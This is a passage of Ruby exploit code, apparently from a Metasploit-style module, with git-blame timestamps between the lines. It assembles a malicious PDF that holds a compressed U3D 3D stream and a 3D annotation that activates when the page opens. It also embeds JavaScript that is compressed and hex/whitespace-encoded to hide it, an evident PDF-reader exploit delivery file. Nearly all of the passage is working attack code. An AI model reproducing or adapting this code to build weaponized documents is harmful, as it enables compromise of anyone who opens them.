pdf << compressed_data << eol
pdf << "endstream"
pdf << obj_end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(8)
2012-01-04 03:49:49 -06:00
pdf << "<</ProcSet [/PDF]>>"
pdf << obj_end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(9)
pdf << "<</Type/Page/Parent %s/MediaBox [0 0 640 480]/Contents %s/Resources %s>>" % [io_ref(6), io_ref(7), io_ref(8)]
2012-01-04 03:49:49 -06:00
pdf << obj_end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
compressed_u3d = Zlib::Deflate::deflate(u3d_stream)
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(10)
2012-01-04 03:49:49 -06:00
pdf << "<</Type/3D/Subtype/U3D/Length %s /Filter/FlateDecode>>" %compressed_u3d.length.to_s << eol
pdf << "stream" << eol
pdf << compressed_u3d << eol
pdf << "endstream"
pdf << obj_end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(11)
2012-01-04 03:49:49 -06:00
pdf << "<</Type/Annot/Subtype/3D/Contents (#{rand_text_alpha(4)})/3DI false/3DA <</A/PO/DIS/I>>"
2014-12-12 13:16:21 +01:00
pdf << "/Rect [0 0 640 480]/3DD %s /F 7>>" %io_ref(10)
2012-01-04 03:49:49 -06:00
pdf << obj_end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(12)
pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s /Annots [%s]>>" % [io_ref(6), io_ref(7), io_ref(8), io_ref(11)]
2012-01-04 03:49:49 -06:00
pdf << obj_end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(13)
pdf << "<</Type/Page/Parent %s /MediaBox [0 0 640 480]/Contents %s /Resources %s>>" % [io_ref(6), io_ref(7), io_ref(8)]
2012-01-04 03:49:49 -06:00
pdf << obj_end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(14)
pdf << "<</S/JavaScript/JS %s>>" %io_ref(15)
2012-01-04 03:49:49 -06:00
pdf << obj_end
2013-08-30 16:28:54 -05:00
2014-12-12 13:16:21 +01:00
compressed_js = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_doc))
2012-01-04 03:49:49 -06:00
xref << pdf.length
2014-12-12 13:16:21 +01:00
pdf << io_def(15)
2012-01-04 03:49:49 -06:00
pdf << "<</Length " << compressed_js.length.to_s << " /Filter [/FlateDecode/ASCIIHexDecode]>>"
pdf << "stream" << eol
pdf << compressed_js << eol
pdf << "endstream"
pdf << obj_end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
# xrefs
xrefPosition = pdf.length
pdf << "xref" << eol
pdf << "0 %d" % (xref.length + 1) << eol
pdf << "0000000000 65535 f" << eol
xref.each do |index|
pdf << "%010d 00000 n" % index << eol
end
2013-08-30 16:28:54 -05:00
2012-01-04 03:49:49 -06:00
# trailer
pdf << "trailer" << eol
2014-12-12 13:16:21 +01:00
pdf << "<</Size %d/Root " % (xref.length + 1) << io_ref(4) << ">>" << eol
2012-01-04 03:49:49 -06:00
pdf << "startxref" << eol
pdf << xrefPosition.to_s() << eol
pdf << "%%EOF" << eol
end
end